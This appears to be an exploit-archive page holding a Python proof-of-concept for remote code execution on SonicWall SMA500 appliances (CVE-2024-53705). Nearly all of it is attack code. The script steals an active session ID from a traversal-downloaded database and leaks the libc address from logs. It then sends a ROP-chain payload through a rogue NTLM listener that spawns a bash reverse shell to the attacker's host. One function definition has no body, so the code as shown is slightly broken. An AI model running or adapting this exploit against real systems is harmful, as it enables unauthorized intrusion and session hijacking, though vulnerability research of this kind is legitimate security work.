4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2024-53705-sonicwall-rce.py PY
from pwn import *
import base64
import re
import sqlite3
from threading import Thread
import socket
import argparse
import requests

requests.packages.urllib3.disable_warnings()


def web_listener(port,exploit_auth):
    log.info("Starting listener")

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.bind(("0.0.0.0", port))
        s.listen()
        count = 0
        while count < 3:
            conn, addr = s.accept()
            with conn:
                print(f"Connected by {addr}")
                
                data = conn.recv(4096)
                #print("Received %s" % (data,))
                log.info("Sending payload")
                conn.send(b'HTTP/1.0 401 Unauthorized\r\n')
                conn.send(b'Host: 192.168.142.141:8888\r\n')
                conn.send(b'Date: Tue, 29 Oct 2024 13:54:37 GMT\r\n')
                conn.send(b'WWW-Authenticate: NTLM ' + exploit_auth + b'\r\n')
                conn.send(b'Connection: close\r\n')
                conn.send(b'Content-type: text/html; charset=UTF-8\r\n')
                conn.send(b'Content-Length: 4\r\n')
                conn.send(b'\r\ntoto')
                count += 1
        
parser = argparse.ArgumentParser(
                    prog='SonicWall SMA500 RCE exploit',
                    description='Execute some arbitrary command on the SMA, needs one active session to exist',
                    )
parser.add_argument('TARGET', help='target ip/hostname')
parser.add_argument('DPORT', type=int, help='target port')
parser.add_argument('LPORT', type=int, help='local Web port')
parser.add_argument('MYIP', help='Attacker IP address for reverse shell')
parser.add_argument('SHELLPORT', type=int, help='Port for reverse shell')

args=parser.parse_args()

def gen_payload(i):
    

#Get sessions

TARGET = args.TARGET
DPORT = args.DPORT
LPORT = args.LPORT
CMD = "bash -i >& /dev/tcp/" + args.MYIP + "/" + str(args.SHELLPORT) + " 0>&1" + "\x00"

sqlite = wget("https://"+TARGET + ":" + str(DPORT) + "/tmp/temp.db%3f.10.2.1.13-72sv.css",verify=False)
f = open("/tmp/temp.db.sqlite","wb")
f.write(sqlite)
f.close()

con = sqlite3.connect("/tmp/temp.db.sqlite")
cur = con.cursor()
res = cur.execute("select sessionId,userName from Sessions")
resp = res.fetchone()
if resp:
    log.success("Found session for user %s (%s) " % (resp[1],resp[0]))
    swap = base64.b64encode(resp[0].encode())
    log.info("Swap cookie value : %s" % (swap,))
else:
    log.error("Could not find an active session :'(")
    exit(1)

# Stack overflow to generate stacktrace in log file
try:
    log.info("Generating stack trace")
    resp = requests.get("https://" + TARGET + ":" + str(DPORT)+ '/go/https://localhost:80/', verify=False, headers={'Cookie':'swap='+swap.decode()+"; __proxy_ssl_vpn__AUTHREQD__localhost__80__ReqMethodAndType=GET__NTLM__"+"A"*2880})
    print(resp.content)
    log.error("Looks like something went wrong")
except:
    log.info("Generated stack trace")

# Get LIBC base

logfile = wget("https://"+TARGET + ":" + str(DPORT) + "/usr/src/EasyAccess/var/logs/httpd.log%3f.10.2.1.13-72sv.css",verify=False)

m=re.search(b'(\w{8})-.+?/lib/libc-2.14.1.so\n',logfile)

if m:
    log.success("Found libc base address : " + m.group(1).decode())
    LIBC = int(m.group(1),16)
else:
    log.error("Could not find LIBC base in logs :'(")
    exit(2)

# Will need to BF this on a real target
CANARY = 0x90251800

# Construct payload with ropchain
exploit_payload = b"A" * 1000                               # Initial padding
exploit_payload += CMD.encode() + b"B" * (76 - len(CMD))    # Reverse shell command
exploit_payload += p32(CANARY)                              # Canary overwrite
exploit_payload += b"f" * 12                                # Padding
exploit_payload += p32(0x00000040)                          # Offset to ESP+4 when calling system
exploit_payload += b"f" * 12                                # Padding
exploit_payload += p32(LIBC+0x000d473c)                     # push esp ; pop esi ; pop edi ; pop ebp ; ret
exploit_payload += b"C" * 8                                 # edi and ebp
exploit_payload += p32(LIBC+0x00069c4c)                     # add esi, ebx ; ret
exploit_payload += p32(LIBC+0x0007dd1f)                     # mov eax, esi ; pop esi ; ret
exploit_payload += b"SCRT"                                  # esi
exploit_payload += p32(LIBC+0x00060454)                     # xchg edx, eax ; ret
exploit_payload += p32(LIBC+0x000d473c)                     # push esp ; pop esi ; pop edi ; pop ebp ; ret
exploit_payload += b"SCRTSCRT"                              # edi, ebp
exploit_payload += p32(LIBC+0x00019600)                     # pop ebx ; ret
exploit_payload += p32(0xffffff74)                          # Negative offset to CMD string
exploit_payload += p32(LIBC+0x00069c4c)                     # add esi, ebx ; ret
exploit_payload += p32(LIBC+0x0007dd1f)                     # mov eax, esi ; pop esi ; ret
exploit_payload += b"SCRT"                                  # esi
exploit_payload += p32(LIBC+0x000d7ab9)                     # mov dword ptr [edx + 4], eax ; ret
exploit_payload += p32(LIBC+0x0003dfc0)                     # system
exploit_payload += b"SCRTTEAM"                              # very important

exploit_auth = base64.b64encode(exploit_payload)

# Start server listener
t = Thread(target=web_listener, args=[LPORT,exploit_auth])
t.start()

l = listen(args.SHELLPORT)
# Trigger exploit
try:
    requests.get("https://" + TARGET + ":" + str(DPORT)+ '/go/http://' + args.MYIP + ':' + str(LPORT) + '/auth.php', timeout=1, verify=False, headers={'Cookie':'swap='+swap.decode(),'Authorization':'Basic YXNkZmRzYWFmZHNhZmRzYWZkc2E='})
except:
    log.info("Conn timed out, should be a good sign....")
log.info("Attempting to open shell")
l.interactive()